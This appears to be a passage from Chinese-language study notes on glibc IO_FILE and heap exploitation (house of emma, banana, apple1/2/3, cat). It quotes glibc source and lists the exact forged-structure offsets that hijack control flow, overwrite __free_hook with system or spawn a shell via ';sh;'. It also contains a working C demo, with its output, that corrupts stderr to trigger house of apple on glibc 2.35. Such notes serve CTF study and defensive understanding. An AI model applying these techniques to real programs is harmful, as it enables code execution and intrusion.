FILE结构的时候,重点是将其vtable由_IO_file_jumps修改为_IO_str_jumps,那么当原本应该调用IO_file_overflow的时候,就会转而调用如下的IO_str_overflow,而该函数是以传入的FILE地址本身为参数的,同时其中会连续调用malloc、memcpy、free函数,且三个函数的参数又都可以被该FILE结构中的数据控制。那么适当的构造FILE结构中的数据,就可以实现利用IO_str_overflow函数中的malloc申请出那个已经被放入到tcache链表的头部的包含__free_hook的fake chunk;紧接着可以将提前在堆上布置好的数据,通过IO_str_overflow函数中的memcpy写入到刚刚申请出来的包含__free_hook的这个chunk,从而能任意控制__free_hook,这里可以将其修改为system函数地址;最后调用IO_str_overflow函数中的free时,就能够触发__free_hook,同时还能在提前布置堆上数据的时候,使其以字符串/bin/sh\x00开头,那么最终就会执行system(“/bin/sh”)
house of emma
通过修改_IO_file_jumps为_IO_cookie_jumps+offset,使得最后+偏移为_IO_cookie_write
然后在_IO_cookie_write中会直接调用指针,设置好偏移就可以去控制执行流
static const struct _IO_jump_t _IO_cookie_jumps libio_vtable = { |
里面存在的_IO_cookie_read、_IO_cookie_write、_IO_cookie_seek、_IO_cookie_close
static ssize_t |
这几个函数中都存在直接的函数调用 当然在函数调用前存在一个检测PTR_DEMANGLE 调试过程可以发现,利用的fs[0x30],可以去修改该处值为我们已知值
house of banana
exit
main()函数return时,有一些析构工作需要完成 - 用户层面: - 需要释放libc中的流缓冲区,退出前清空下stdout的缓冲区,释放TLS, … - 内核层面: - 释放掉这个进程打开的文件描述符,释放掉task结构体,… - 再所有资源都被释放完毕后,内核会从调度队列从取出这个任务 - 然后向父进程发送一个信号,表示有一个子进程终止 - 此时这个进程才算是真正结束
因此我们可以认为: - 进程终止 => 释放其所占有的资源 + 不再分配CPU时间给这个进程
内核层面的终止是通过exit系统调用来进行的,其实现就是一个syscall,libc中声明为
void _exit(int status);
但是如果直接调用_exit(),会出现一些问题,比如stdout的缓冲区中的数据会直接被内核释放掉,无法刷新,导致信息丢失 因此在调用_exit()之前,还需要在用户层面进行一些析构工作
libc将负责这个工作的函数定义为exit(),其声明如下
extern void exit (int __status);
void
exit (int status)
{
__run_exit_handlers (status, &__exit_funcs, true, true);
}
void
attribute_hidden
__run_exit_handlers (int status, struct exit_function_list **listp,
bool run_list_atexit, bool run_dtors)
{
/* First, call the TLS destructors. */
if (&__call_tls_dtors != NULL)
if (run_dtors)
__call_tls_dtors ();
__libc_lock_lock (__exit_funcs_lock);
/* We do it this way to handle recursive calls to exit () made by
the functions registered with `atexit' and `on_exit'. We call
everyone on the list and use the status value in the last
exit (). */
while (true)
{
struct exit_function_list *cur = *listp;
if (cur == NULL)
{
/* Exit processing complete. We will not allow any more
atexit/on_exit registrations. */
__exit_funcs_done = true;
break;
}
while (cur->idx > 0)
{
struct exit_function *const f = &cur->fns[--cur->idx];
const uint64_t new_exitfn_called = __new_exitfn_called;
switch (f->flavor)
{
void (*atfct) (void);
void (*onfct) (int status, void *arg);
void (*cxafct) (void *arg, int status);
void *arg;
case ef_free:
case ef_us:
break;
case ef_on:
onfct = f->func.on.fn;
arg = f->func.on.arg;
PTR_DEMANGLE (onfct);
/* Unlock the list while we call a foreign function. */
__libc_lock_unlock (__exit_funcs_lock);
onfct (status, arg);
__libc_lock_lock (__exit_funcs_lock);
break;
case ef_at:
atfct = f->func.at;
PTR_DEMANGLE (atfct);
/* Unlock the list while we call a foreign function. */
__libc_lock_unlock (__exit_funcs_lock);
atfct ();
__libc_lock_lock (__exit_funcs_lock);
break;
case ef_cxa:
/* To avoid dlclose/exit race calling cxafct twice (BZ 22180),
we must mark this function as ef_free. */
f->flavor = ef_free;
cxafct = f->func.cxa.fn;
arg = f->func.cxa.arg;
PTR_DEMANGLE (cxafct);
/* Unlock the list while we call a foreign function. */
__libc_lock_unlock (__exit_funcs_lock);
cxafct (arg, status);
__libc_lock_lock (__exit_funcs_lock);
break;
}
if (__glibc_unlikely (new_exitfn_called != __new_exitfn_called))
/* The last exit function, or another thread, has registered
more exit functions. Start the loop over. */
continue;
}
*listp = cur->next;
if (*listp != NULL)
/* Don't free the last element in the chain, this is the statically
allocate element. */
free (cur);
}
__libc_lock_unlock (__exit_funcs_lock);
if (run_list_atexit)
RUN_HOOK (__libc_atexit, ());
_exit (status);
}
struct exit_function
{
/* `flavour' should be of type of the `enum' above but since we need
this element in an atomic operation we have to use `long int'. */
long int flavor;
union
{
void (*at) (void);
struct
{
void (*fn) (int status, void *arg);
void *arg;
} on;
struct
{
void (*fn) (void *arg, int status);
void *arg;
void *dso_handle;
} cxa;
} func;
};
struct exit_function_list
{
struct exit_function_list *next;
size_t idx;
struct exit_function fns[32];
};
extern struct exit_function_list *__exit_funcs attribute_hidden;
综上所述: * exit(status) *__run_exit_handlers(status)*__call_tls_dtors* 遍历exit_function_list*ef_cxa:调用__cxa_atexit注册函数 *ef_at:调用atexit注册的函数 *ef_on:调用on_exit注册的函数 * ... * 若执行期间有新的回调注册则回到链表头重新执行 * 释放动态分配的回调节点 * 如果run_list_atexit==true,则执行__libc_atexit* 最终调用_exit(status)`
__exit_funcs
函数指针要用fs:0x30解密
typedef struct |
exit_function注册
遍历链表执行的是atexit等函数注册的函数,我们找到atexit /* Register FUNC to be executed by `exit'. */
int
attribute_hidden
atexit (void (*func) (void))
{
return __cxa_atexit ((void (*) (void *)) func, NULL, __dso_handle);
}__cxa_atexit /* Register a function to be called by exit or when a shared library
is unloaded. This function is only called from code generated by
the C++ compiler. */
int
__cxa_atexit (void (*func) (void *), void *arg, void *d)
{
return __internal_atexit (func, arg, d, &__exit_funcs);
}
libc_hidden_def (__cxa_atexit)__internal_atexit int
attribute_hidden
__internal_atexit (void (*func) (void *), void *arg, void *d,
struct exit_function_list **listp)
{
struct exit_function *new;
/* As a QoI issue we detect NULL early with an assertion instead
of a SIGSEGV at program exit when the handler is run (bug 20544). */
assert (func != NULL);
__libc_lock_lock (__exit_funcs_lock);
new = __new_exitfn (listp);
if (new == NULL)
{
__libc_lock_unlock (__exit_funcs_lock);
return -1;
}
PTR_MANGLE (func);
new->func.cxa.fn = (void (*) (void *, int)) func;
new->func.cxa.arg = arg;
new->func.cxa.dso_handle = d;
new->flavor = ef_cxa;
__libc_lock_unlock (__exit_funcs_lock);
return 0;
}__new_exitfn /* Must be called with __exit_funcs_lock held. */
struct exit_function *
__new_exitfn (struct exit_function_list **listp)
{
struct exit_function_list *p = NULL;
struct exit_function_list *l;
struct exit_function *r = NULL;
size_t i = 0;
if (__exit_funcs_done)
/* Exit code is finished processing all registered exit functions,
therefore we fail this registration. */
return NULL;
for (l = *listp; l != NULL; p = l, l = l->next)
{
for (i = l->idx; i > 0; --i)
if (l->fns[i - 1].flavor != ef_free)
break;
if (i > 0)
break;
/* This block is completely unused. */
l->idx = 0;
}
if (l == NULL || i == sizeof (l->fns) / sizeof (l->fns[0]))
{
/* The last entry in a block is used. Use the first entry in
the previous block if it exists. Otherwise create a new one. */
if (p == NULL)
{
assert (l != NULL);
p = (struct exit_function_list *)
calloc (1, sizeof (struct exit_function_list));
if (p != NULL)
{
p->next = *listp;
*listp = p;
}
}
if (p != NULL)
{
r = &p->fns[0];
p->idx = 1;
}
}
else
{
/* There is more room in the block. */
r = &l->fns[i];
l->idx = i + 1;
}
/* Mark entry as used, but we don't know the flavor now. */
if (r != NULL)
{
r->flavor = ef_us;
++__new_exitfn_called;
}
return r;
}
先尝试在__exit_funcs中找到一个exit_function类型的ef_free的位置, ef_free代表着此位置空闲
如果没找到, 就新建一个exit_function节点, 使用头插法插入__exit_funcs链表, 使用新节点的第一个位置作为分配到的exit_function结构体设置找到的exit_function的类型为ef_us, 表示正在使用中, 并返回
这里只是找位置,那么注册的是什么函数呢?这些函数在main之前就被注册了,我们看一下程序的入口_start
_start
ENTRY (_start) |
我们关注其传递给__libc_start_main的参数main,argc,argv,init,fini,rtld_fini,stack_end,前三个不用赘述,init,fini,rtld_fini
/* Note: The init and fini parameters are no longer used. fini is |
自glibc2.34以后,init和fini两个参数已经废弃,可以看到,其内部自行使用了call_init函数 /* Initialization for dynamic executables. Find the main executable
link map and run its init functions. */
static void
call_init (int argc, char **argv, char **env)
{
/* Obtain the main map of the executable. */
struct link_map *l = GL(dl_ns)[LM_ID_BASE]._ns_loaded;
/* DT_PREINIT_ARRAY is not processed here. It is already handled in
_dl_init in elf/dl-init.c. Also see the call_init function in
the same file. */
if (ELF_INITFINI && l->l_info[DT_INIT] != NULL)
DL_CALL_DT_INIT(l, l->l_addr + l->l_info[DT_INIT]->d_un.d_ptr,
argc, argv, env);
ElfW(Dyn) *init_array = l->l_info[DT_INIT_ARRAY];
if (init_array != NULL)
{
unsigned int jm
= l->l_info[DT_INIT_ARRAYSZ]->d_un.d_val / sizeof (ElfW(Addr));
ElfW(Addr) *addrs = (void *) (init_array->d_un.d_ptr + l->l_addr);
for (unsigned int j = 0; j < jm; ++j)
((dl_init_t) addrs[j]) (argc, argv, env);
}
}
/* Initialization for static executables. There is no dynamic
segment, so we access the symbols directly. */
static void
call_init (int argc, char **argv, char **envp)
{
/* For static executables, preinit happens right before init. */
{
const size_t size = __preinit_array_end - __preinit_array_start;
size_t i;
for (i = 0; i < size; i++)
(*__preinit_array_start [i]) (argc, argv, envp);
}
_init ();
const size_t size = __init_array_end - __init_array_start;
for (size_t i = 0; i < size; i++)
(*__init_array_start [i]) (argc, argv, envp);
}
可以看到这里,对于动态链接程序先获取link_map,然后执行.init,再遍历 .init_array 函数数组,执行程序和共享库的所有构造函数。而对于动态链接器的构造函数则由另一个函数_dl_init再调用call_init执行,这个函数如下 void
_dl_init (struct link_map *main_map, int argc, char **argv, char **env)
{
ElfW(Dyn) *preinit_array = main_map->l_info[DT_PREINIT_ARRAY];
ElfW(Dyn) *preinit_array_size = main_map->l_info[DT_PREINIT_ARRAYSZ];
unsigned int i;
if (__glibc_unlikely (GL(dl_initfirst) != NULL))
{
call_init (GL(dl_initfirst), argc, argv, env);
GL(dl_initfirst) = NULL;
}
/* Don't do anything if there is no preinit array. */
if (__builtin_expect (preinit_array != NULL, 0)
&& preinit_array_size != NULL
&& (i = preinit_array_size->d_un.d_val / sizeof (ElfW(Addr))) > 0)
{
ElfW(Addr) *addrs;
unsigned int cnt;
if (__glibc_unlikely (GLRO(dl_debug_mask) & DL_DEBUG_IMPCALLS))
_dl_debug_printf ("\ncalling preinit: %s\n\n",
DSO_FILENAME (main_map->l_name));
addrs = (ElfW(Addr) *) (preinit_array->d_un.d_ptr + main_map->l_addr);
for (cnt = 0; cnt < i; ++cnt)
((dl_init_t) addrs[cnt]) (argc, argv, env);
}
/* Stupid users forced the ELF specification to be changed. It now
says that the dynamic loader is responsible for determining the
order in which the constructors have to run. The constructors
for all dependencies of an object must run before the constructor
for the object itself. Circular dependencies are left unspecified.
This is highly questionable since it puts the burden on the dynamic
loader which has to find the dependencies at runtime instead of
letting the user do it right. Stupidity rules! */
i = main_map->l_searchlist.r_nlist;
while (i-- > 0)
call_init (main_map->l_initfini[i], argc, argv, env);
/* Finished starting up. */
_dl_starting_up = 0;
}_dl_init又由谁调用呢?这里发现另一个_start(?),位于dl-start.S(动态链接器的入口点),上文的_start位于start.S(程序的入口点)
/* Initial entry point code for the dynamic linker. |
发现正是这里调用了_dl_start和_dl_init
如此完成初始化构造,可以看到call_fini(静态链接程序),rtld_fini(动态链接程序)也是在__libc_start_main完成注册的 __cxa_atexit ((void (*) (void *)) rtld_fini, NULL, NULL);
...
/* Register the destructor of the statically-linked program. */
__cxa_atexit (call_fini, NULL, NULL);
在__libc_start_main的最后 __libc_start_call_main (main, argc, argv MAIN_AUXVEC_PARAM);
_Noreturn static __always_inline void
__libc_start_call_main (int (*main) (int, char **, char ** MAIN_AUXVEC_DECL),
int argc, char **argv MAIN_AUXVEC_DECL)
{
exit (main (argc, argv, __environ MAIN_AUXVEC_PARAM));
}
正是它最终调用main以及exit,同时这也解释了为什么main函数返回地址总是在__libc_start_call_main的一定偏移处。
现在我们再看被注册的rtld_fini,其实际调用_dl_fini函数,作用是调用进程空间中所有模块的析构函数,也就是遍历.fini_array,看其源码的这一段
/* Is there a destructor function? */ |
这里执行了.fini以及遍历了.fini_array
总结
- 内核执行
execve()系统调用 - 加载
ELF可执行文件- 动态链接程序:发现
.interp段- 内核加载动态链接器
ld.so - 跳转到
ld.so入口地址->_dl_start (dl-start.S)_dl_initcall_init(执行ld.so自身的.init_array)
ld.so加载依赖库 (libc.so等) 并重定位
- 跳转到程序入口
->_start (start.S)
- 内核加载动态链接器
- 静态链接程序:直接跳转到
_start (start.S)
- 动态链接程序:发现
_start__libc_start_main- 注册析构函数:
- 静态链接:
__cxa_atexit(call_fini)- 程序自身析构器
- 动态链接:
__cxa_atexit(rtld_fini)- 动态链接器统一收尾调用
dl_fini
- 动态链接器统一收尾调用
call_init(执行程序和libc的.init_array)
- 注册析构函数:
__libc_start_call_main- 调用
main() exit(main())
- 调用
- 用户调用
exit(status)__run_exit_handlers(status)- 调用 TLS 析构函数
__call_tls_dtors - 遍历
exit_function_listef_cxa:- 静态程序:
call_fini- 执行程序自身
.fini_array
- 执行程序自身
- 动态程序:
rtld_fini_dl_fini- 按依赖顺序执行共享库
.fini_array/DT_FINI - 清理动态链接器资源
- 按依赖顺序执行共享库
- 静态程序:
ef_at -> atexit注册的函数ef_on -> on_exit注册的函数- 其他类型忽略
- 若执行期间有新回调注册 → 回到链表开头
- 释放动态分配的回调节点
- 若
run_list_atexit = true,则执行__libc_atexit钩子:默认为_IO_cleanup()
- 调用 TLS 析构函数
_exit(status)
- 内核:彻底终止进程
house of apple2 | house of cat
- 漏洞产生:
_wide_data结构中有一个类似vtable的_wide_vtable指向_IO_jump_t结构,与vtable相同,对glibc中也定义了调用_wide_vtable中函数的宏,其中在 glibc 中真正使用到的有_IO_WSETBUF、_IO_WUNDERFLOW、_IO_WDOALLOCATE,但与vtable不同的是这三个宏均缺少对_wide_vtable位置的检查_IO_OVERFLOW:而_IO_WOVERFLOW:
_IO_wfile_overflow
- 调用链
_IO_wfile_overflow满足条件:wint_t
_IO_wfile_overflow (FILE *f, wint_t wch)
{
if (f->_flags & _IO_NO_WRITES) /* SET ERROR */
{
f->_flags |= _IO_ERR_SEEN;
__set_errno (EBADF);
return WEOF;
}
/* If currently reading or no buffer allocated. */
if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0)
{
/* Allocate a buffer if needed. */
if (f->_wide_data->_IO_write_base == 0)
{
_IO_wdoallocbuf (f);// 需要走到这里
// ......
}
}
}
f->_flags & _IO_NO_WRITES == 0f->_flags & _IO_CURRENTLY_PUTTING == 0f->_wide_data->_IO_write_base == 0
_IO_wdoallocbuf满足条件:void
_IO_wdoallocbuf (FILE *fp)
{
if (fp->_wide_data->_IO_buf_base)
return;
if (!(fp->_flags & _IO_UNBUFFERED))
if ((wint_t)_IO_WDOALLOCATE (fp) != WEOF)// _IO_WXXXX调用
return;
_IO_wsetb (fp, fp->_wide_data->_shortbuf,
fp->_wide_data->_shortbuf + 1, 0);
}
libc_hidden_def (_IO_wdoallocbuf)
fp->_wide_data->_IO_buf_base == 0fp->_flags & _IO_UNBUFFERED == 0
_IO_WDOALLOCATE*(fp->_wide_data->_wide_vtable + 0x68)(fp)
综上所述: * _flags设置为~(2 | 0x8 | 0x800),如果不需要控制rdi,设置为0即可;如果需要获得shell,可设置为;sh; * vtable设置为_IO_wfile_jumps/_IO_wfile_jumps_mmap/_IO_wfile_jumps_maybe_mmap地址(加减偏移),使其能成功调用_IO_wfile_overflow即可 * _wide_data设置为可控堆地址A,即满足*(fp + 0xa0) = A * _wide_data->_IO_write_base设置为0,即满足*(A + 0x18) = 0 * _wide_data->_IO_buf_base设置为0,即满足*(A + 0x30) = 0 * _wide_data->_wide_vtable设置为可控堆地址B,即满足*(A + 0xe0) = B * _wide_data->_wide_vtable->doallocate设置为地址C用于劫持RIP,即满足*(B + 0x68) = C
_IO_wfile_underflow_mmap
- 调用链
_IO_wfile_underflow_mmap满足条件:static wint_t
_IO_wfile_underflow_mmap (FILE *fp)
{
struct _IO_codecvt *cd;
const char *read_stop;
if (__glibc_unlikely (fp->_flags & _IO_NO_READS))
{
fp->_flags |= _IO_ERR_SEEN;
__set_errno (EBADF);
return WEOF;
}
if (fp->_wide_data->_IO_read_ptr < fp->_wide_data->_IO_read_end)
return *fp->_wide_data->_IO_read_ptr;
cd = fp->_codecvt;
/* Maybe there is something left in the external buffer. */
if (fp->_IO_read_ptr >= fp->_IO_read_end
/* No. But maybe the read buffer is not fully set up. */
&& _IO_file_underflow_mmap (fp) == EOF)
/* Nothing available. _IO_file_underflow_mmap has set the EOF or error
flags as appropriate. */
return WEOF;
/* There is more in the external. Convert it. */
read_stop = (const char *) fp->_IO_read_ptr;
if (fp->_wide_data->_IO_buf_base == NULL)
{
/* Maybe we already have a push back pointer. */
if (fp->_wide_data->_IO_save_base != NULL)
{
free (fp->_wide_data->_IO_save_base);
fp->_flags &= ~_IO_IN_BACKUP;
}
_IO_wdoallocbuf (fp);// 需要走到这里
}
//......
}
fp->_flags & _IO_NO_READS == 0fp->_IO_read_ptr < fp->_IO_read_endfp->_wide_data->_IO_read_ptr >= fp->_wide_data->_IO_read_endfp->_wide_data->_IO_buf_base == NULL,fp->_wide_data->_IO_save_base == NULL
_IO_wdoallocbuf_IO_WDOALLOCATE*(fp->_wide_data->_wide_vtable + 0x68)(fp)
综上所述: * _flags设置为~4,如果不需要控制rdi,设置为0即可;如果需要获得shell,可设置为;sh; * vtable设置为_IO_wfile_jumps/_IO_wfile_jumps_mmap/_IO_wfile_jumps_maybe_mmap地址(加减偏移),使其能成功调用_IO_wfile_overflow_mmap即可 * _IO_read_ptr < _IO_read_end,即满足*(fp + 8) < *(fp + 0x10) * _wide_data设置为可控堆地址A,即满足*(fp + 0xa0) = A * _wide_data->_IO_read_ptr >= _wide_data->_IO_read_end,即满足*A >= *(A + 8) * _wide_data->_IO_buf_base设置为0,即满足*(A + 0x30) = 0 * _wide_data->_IO_save_base设置为0或者合法的可被free的地址,即满足*(A + 0x40) = 0 * _wide_data->_wide_vtable设置为可控堆地址B,即满足*(A + 0xe0) = B * _wide_data->_wide_vtable->doallocate设置为地址C用于劫持RIP,即满足*(B + 0x68) = C
_IO_wdefault_xsgetn
- 调用链
_IO_wdefault_xsgetn满足条件:size_t
_IO_wdefault_xsgetn (FILE *fp, void *data, size_t n)
{
size_t more = n;
wchar_t *s = (wchar_t*) data;
for (;;)
{
/* Data available. */
ssize_t count = (fp->_wide_data->_IO_read_end
- fp->_wide_data->_IO_read_ptr);
if (count > 0)
{
if ((size_t) count > more)
count = more;
if (count > 20)
{
s = __wmempcpy (s, fp->_wide_data->_IO_read_ptr, count);
fp->_wide_data->_IO_read_ptr += count;
}
else if (count <= 0)
count = 0;
else
{
wchar_t *p = fp->_wide_data->_IO_read_ptr;
int i = (int) count;
while (--i >= 0)
*s++ = *p++;
fp->_wide_data->_IO_read_ptr = p;
}
more -= count;
}
if (more == 0 || __wunderflow (fp) == WEOF)
break;
}
return n - more;
}
libc_hidden_def (_IO_wdefault_xsgetn)
- 由于
more是第三个参数,所以不能为0,即rdx寄存器不为0 - 直接设置
fp->_wide_data->_IO_read_ptr == fp->_wide_data->_IO_read_end,使得count为0,不进入if分支
__wunderflow
wint_t |
满足条件: * 设置fp->mode > 0,并且fp->_flags & _IO_CURRENTLY_PUTTING != 0
_IO_switch_to_wget_mode
int |
满足条件: * fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base
_IO_WOVERFLOW*(fp->_wide_data->_wide_vtable + 0x18)(fp)
综上所述: * _flags设置为0x800 * vtable设置为_IO_wstrn_jumps/_IO_wmem_jumps/_IO_wstr_jumps地址(加减偏移),使其能成功调用_IO_wdefault_xsgetn即可 * _mode设置为大于0,即满足*(fp + 0xc0) > 0 * _wide_data设置为可控堆地址A,即满足*(fp + 0xa0) = A * _wide_data->_IO_read_ptr == _wide_data->_IO_read_end,即满足*A == *(A + 8) * _wide_data->_IO_write_ptr > _wide_data->_IO_write_base,即满足*(A + 0x20) > *(A + 0x18) * _wide_data->_wide_vtable设置为可控堆地址B,即满足*(A + 0xe0) = B * _wide_data->_wide_vtable->doallocate设置为地址C用于劫持RIP,即满足*(B + 0x68) = C
_IO_wfile_seekoff(house of cat)
- 调用链
_IO_wfile_seekoff满足条件:off64_t
_IO_wfile_seekoff (FILE *fp, off64_t offset, int dir, int mode) {
off64_t result;
off64_t delta, new_offset;
long int count;
/*短路变成一个单独的功能。 我们不想混合任何功能,也不想触及 FILE 对象内部的任何内容。*/
if (mode == 0)
return do_ftell_wide (fp);
...
bool was_writing = ((fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base) || _IO_in_put_mode (fp));
/*刷新未写入的字符。(如果我们在缓冲区内查找,这可能会执行不必要的写入。但是为了能够切换到阅读,我们需要将 egptr 设置为 pptr。 这在当前的设计中是无法做到的,它假设 file_ptr() 是 eGptr。 无论如何,由于我们可能在close()时最终刷新,因此没有太大区别。FIXME:模拟内存映射文件。*/
if (was_writing && _IO_switch_to_wget_mode (fp))
return WEOF;
_mode不为0fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base或(fp)->_flags & 0x0800 != 0
_IO_switch_to_wget_mode满足条件:
fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base
_IO_WOVERFLOW*(fp->_wide_data->_wide_vtable + 0x18)(fp)
综上所述: * _flags设置为~0x8,如果不能保证_lock指向可读写内存则_flags |= 0x8000 * vtable设置为_IO_wfile_jumps/_IO_wfile_jumps_mmap/_IO_wfile_jumps_maybe_mmap地址(加减偏移),使其能成功调用_IO_wfile_seekoff即可 * _mode设置为大于0,即满足*(fp + 0xc0) > 0 * _wide_data设置为可控堆地址A,即满足*(fp + 0xa0) = A * _wide_data->_IO_read_ptr > _wide_data->_IO_read_end,即满足*A > *(A + 8) * _wide_data->_IO_write_ptr > _wide_data->_IO_write_base,即满足*(A + 0x20) > *(A + 0x18) * _wide_data->_wide_vtable设置为可控堆地址B,即满足*(A + 0xe0) = B * _wide_data->_wide_vtable->doallocate设置为地址C用于劫持RIP,即满足*(B + 0x68) = C
house of apple1
- 核心:在堆上伪造一个
_IO_FILE结构体并已知其地址为A,将A + 0xd8(vtable)替换为_IO_wstrn_jumps地址,A + 0xa0(_wide_data)设置为B,并设置其他成员以便能调用到_IO_OVERFLOW,exit函数则会一路调用到_IO_wstrn_overflow函数,并将B至B + 0x30的地址区域的内容都替换为A + 0xf0或者A + 0x1f0static wint_t
_IO_wstrn_overflow (FILE *fp, wint_t c)
{
_IO_wstrnfile *snf = (_IO_wstrnfile *) fp;
if (fp->_wide_data->_IO_buf_base != snf->overflow_buf)
{
_IO_wsetb (fp, snf->overflow_buf,
snf->overflow_buf + (sizeof (snf->overflow_buf)
/ sizeof (wchar_t)), 0);
//只要控制了fp->_wide_data,就可以控制从fp->_wide_data开始一定范围内的内存的值,也就等同于任意地址写已知地址。
fp->_wide_data->_IO_write_base = snf->overflow_buf;
fp->_wide_data->_IO_read_base = snf->overflow_buf;
fp->_wide_data->_IO_read_ptr = snf->overflow_buf;
fp->_wide_data->_IO_read_end = (snf->overflow_buf
+ (sizeof (snf->overflow_buf)
/ sizeof (wchar_t)));
}
fp->_wide_data->_IO_write_ptr = snf->overflow_buf;
fp->_wide_data->_IO_write_end = snf->overflow_buf;
return c;
} - 有时候需要绕过
_IO_wsetb函数里面的free
//设置f->_flags2为8即可绕过
void
_IO_wsetb (FILE *f, wchar_t *b, wchar_t *eb, int a)
{
if (f->_wide_data->_IO_buf_base && !(f->_flags2 & _IO_FLAGS2_USER_WBUF))
free (f->_wide_data->_IO_buf_base); // 其不为0的时候不要执行到这里
f->_wide_data->_IO_buf_base = b;
f->_wide_data->_IO_buf_end = eb;
if (a)
f->_flags2 &= ~_IO_FLAGS2_USER_WBUF;
else
f->_flags2 |= _IO_FLAGS2_USER_WBUF;
}
demo: #2.35-0ubuntu3
void main()
{
setbuf(stdout, 0);
setbuf(stdin, 0);
setvbuf(stderr, 0, 2, 0);
puts("[*] allocate a 0x100 chunk");
size_t *p1 = malloc(0xf0);
size_t *tmp = p1;
size_t old_value = 0x1122334455667788;
for (size_t i = 0; i < 0x100 / 8; i++)
{
p1[i] = old_value;
}
puts("===========================old value=======================");
for (size_t i = 0; i < 4; i++)
{
printf("[%p]: 0x%016lx 0x%016lx\n", tmp, tmp[0], tmp[1]);
tmp += 2;
}
puts("===========================old value=======================");
size_t puts_addr = (size_t)&puts;
printf("[*] puts address: %p\n", (void *)puts_addr);
size_t stderr_write_ptr_addr = puts_addr + 0x1997f8;
printf("[*] stderr->_IO_write_ptr address: %p\n", (void *)stderr_write_ptr_addr);
size_t stderr_flags2_addr = puts_addr + 0x199844;
printf("[*] stderr->_flags2 address: %p\n", (void *)stderr_flags2_addr);
size_t stderr_wide_data_addr = puts_addr + 0x199870;
printf("[*] stderr->_wide_data address: %p\n", (void *)stderr_wide_data_addr);
size_t sdterr_vtable_addr = puts_addr + 0x1998a8;
printf("[*] stderr->vtable address: %p\n", (void *)sdterr_vtable_addr);
size_t _IO_wstrn_jumps_addr = puts_addr + 0x194ef0;
printf("[*] _IO_wstrn_jumps address: %p\n", (void *)_IO_wstrn_jumps_addr);
puts("[+] step 1: change stderr->_IO_write_ptr to -1");
*(size_t *)stderr_write_ptr_addr = (size_t)-1;
puts("[+] step 2: change stderr->_flags2 to 8");
*(size_t *)stderr_flags2_addr = 8;
puts("[+] step 3: replace stderr->_wide_data with the allocated chunk");
*(size_t *)stderr_wide_data_addr = (size_t)p1;
puts("[+] step 4: replace stderr->vtable with _IO_wstrn_jumps");
*(size_t *)sdterr_vtable_addr = (size_t)_IO_wstrn_jumps_addr;
puts("[+] step 5: call fcloseall and trigger house of apple");
fcloseall();
tmp = p1;
puts("===========================new value=======================");
for (size_t i = 0; i < 4; i++)
{
printf("[%p]: 0x%016lx 0x%016lx\n", tmp, tmp[0], tmp[1]);
tmp += 2;
}
puts("===========================new value=======================");
}[*] allocate a 0x100 chunk
===========================old value=======================
[0x56142e11b2a0]: 0x1122334455667788 0x1122334455667788
[0x56142e11b2b0]: 0x1122334455667788 0x1122334455667788
[0x56142e11b2c0]: 0x1122334455667788 0x1122334455667788
[0x56142e11b2d0]: 0x1122334455667788 0x1122334455667788
===========================old value=======================
[*] puts address: 0x7cb7d0280ed0
[*] stderr->_IO_write_ptr address: 0x7cb7d041a6c8
[*] stderr->_flags2 address: 0x7cb7d041a714
[*] stderr->_wide_data address: 0x7cb7d041a740
[*] stderr->vtable address: 0x7cb7d041a778
[*] _IO_wstrn_jumps address: 0x7cb7d0415dc0
[+] step 1: change stderr->_IO_write_ptr to -1
[+] step 2: change stderr->_flags2 to 8
[+] step 3: replace stderr->_wide_data with the allocated chunk
[+] step 4: replace stderr->vtable with _IO_wstrn_jumps
[+] step 5: call fcloseall and trigger house of apple
===========================new value=======================
[0x56142e11b2a0]: 0x00007cb7d041a790 0x00007cb7d041a890
[0x56142e11b2b0]: 0x00007cb7d041a790 0x00007cb7d041a790
[0x56142e11b2c0]: 0x00007cb7d041a790 0x00007cb7d041a790
[0x56142e11b2d0]: 0x00007cb7d041a790 0x00007cb7d041a890
===========================new value=======================
总结:在只给了1次largebin attack的前提下,能利用_IO_wstrn_overflow函数将任意地址空间上的值修改为一个已知地址,并且这个已知地址通常为堆地址。那么,当我们伪造两个甚至多个_IO_FILE结构体,并将这些结构体通过chain字段串联起来就能进行组合利用
修改tcache线程(< 2.37)
- 伪造至少两个
_IO_FILE结构体 - 第一个
_IO_FILE结构体执行_IO_OVERFLOW的时候,利用_IO_wstrn_overflow函数修改tcache全局变量为已知值,也就控制了tcache bin的分配 - 第二个
_IO_FILE结构体执行_IO_OVERFLOW的时候,利用_IO_str_overflow中的malloc函数任意地址分配,并使用memcpy使得能够任意地址写任意值 - 利用两次任意地址写任意值修改
pointer_guard和IO_accept_foreign_vtables的值绕过_IO_vtable_check函数的检测(或者利用一次任意地址写任意值修改libc.got里面的函数地址,很多IO流函数调用strlen/strcpy/memcpy/memset等都会调到libc.got里面的函数) - 利用一个
_IO_FILE,随意伪造vtable劫持程序控制流即可
修改mp_结构体
- 伪造至少两个
_IO_FILE结构体 - 第一个
_IO_FILE结构体执行_IO_OVERFLOW的时候,利用_IO_wstrn_overflow函数修改mp_.tcache_bins为很大的值,使得很大的chunk也通过tcachebin去管理 - 接下来的过程与上面的思路是一样的
修改pointer_guard线程变量+house of emma
- 伪造两个
_IO_FILE结构体 - 第一个
_IO_FILE结构体执行_IO_OVERFLOW的时候,利用_IO_wstrn_overflow函数修改tls结构体pointer_guard的值为已知值 - 第二个
_IO_FILE结构体用来做house of emma利用即可控制程序执行流
修改global_max_fast全局变量
修改掉这个变量后,直接释放超大的chunk,去覆盖掉point_guard或者tcache变量
house of apple3
FILE结构体中有一个成员struct _IO_codecvt *_codecvt;,偏移为0x98。该结构体参与宽字符的转换工作,结构体相关定义如下: struct _IO_codecvt
{
_IO_iconv_t __cd_in;
_IO_iconv_t __cd_out;
};
typedef struct
{
struct __gconv_step *step;
struct __gconv_step_data step_data;
} _IO_iconv_t;
struct __gconv_step
{
struct __gconv_loaded_object *__shlib_handle;
const char *__modname;
/* For internal use by glibc. (Accesses to this member must occur
when the internal __gconv_lock mutex is acquired). */
int __counter;
char *__from_name;
char *__to_name;
__gconv_fct __fct;
__gconv_btowc_fct __btowc_fct;
__gconv_init_fct __init_fct;
__gconv_end_fct __end_fct;
/* Information about the number of bytes needed or produced in this
step. This helps optimizing the buffer sizes. */
int __min_needed_from;
int __max_needed_from;
int __min_needed_to;
int __max_needed_to;
/* Flag whether this is a stateful encoding or not. */
